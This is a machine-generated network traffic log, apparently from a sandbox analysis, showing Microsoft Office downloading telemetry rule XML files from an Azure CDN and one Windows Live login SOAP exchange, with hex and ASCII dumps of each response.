2024-11-07 22:47:41 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:41 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224741Z-16547b76f7f7lhvnhC1DFWa2k000000008q000000000c9f8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:41 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9ad52bc4-d01e-005a-6aef-2f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224741Z-17df447cdb5jg4kthC1DFWux4n00000004xg00000000t3tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:42 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:42 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9bdb129b-701e-0053-7392-303a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224742Z-17df447cdb5t94hvhC1DFWw97800000005b0000000006x3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:42 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:42 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 03c1180a-901e-007b-2b6d-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224742Z-15869dbbcc6b2ncxhC1DFW2ztg00000002n0000000001ps6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49852	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-11-07 22:47:42 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:42 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: e0473757-3d1f-4e53-b4d7-fb1925322380 PPServer: PPV: 30 H: SN1PEPF0002F176 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:41 GMT Connection: close Content-Length: 10197
2024-11-07 22:47:42 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:42 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:42 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224742Z-16547b76f7frbg6bhC1DFWr54000000008p000000000kcxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:42 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:42 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:42 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 51919511-a01e-0084-75de-2f9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224742Z-17df447cdb5fzdpxhC1DFWdd34000000055g000000004af4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:42 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:42 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:42 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224742Z-16547b76f7fkj7j4hC1DFW0a9g00000008qg00000000mu8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:43 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:43 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224743Z-16547b76f7fknvdnhC1DFWxnys00000008x000000000202u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:43 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:43 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:43 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:43 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224743Z-16547b76f7fm7xw6hC1DFW5px400000008m000000000tm2n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:43 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:43 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:43 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:43 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 7b700101-601e-0050-4e5f-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224743Z-15869dbbcc6qwghvhC1DFWssds00000005mg000000000eaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
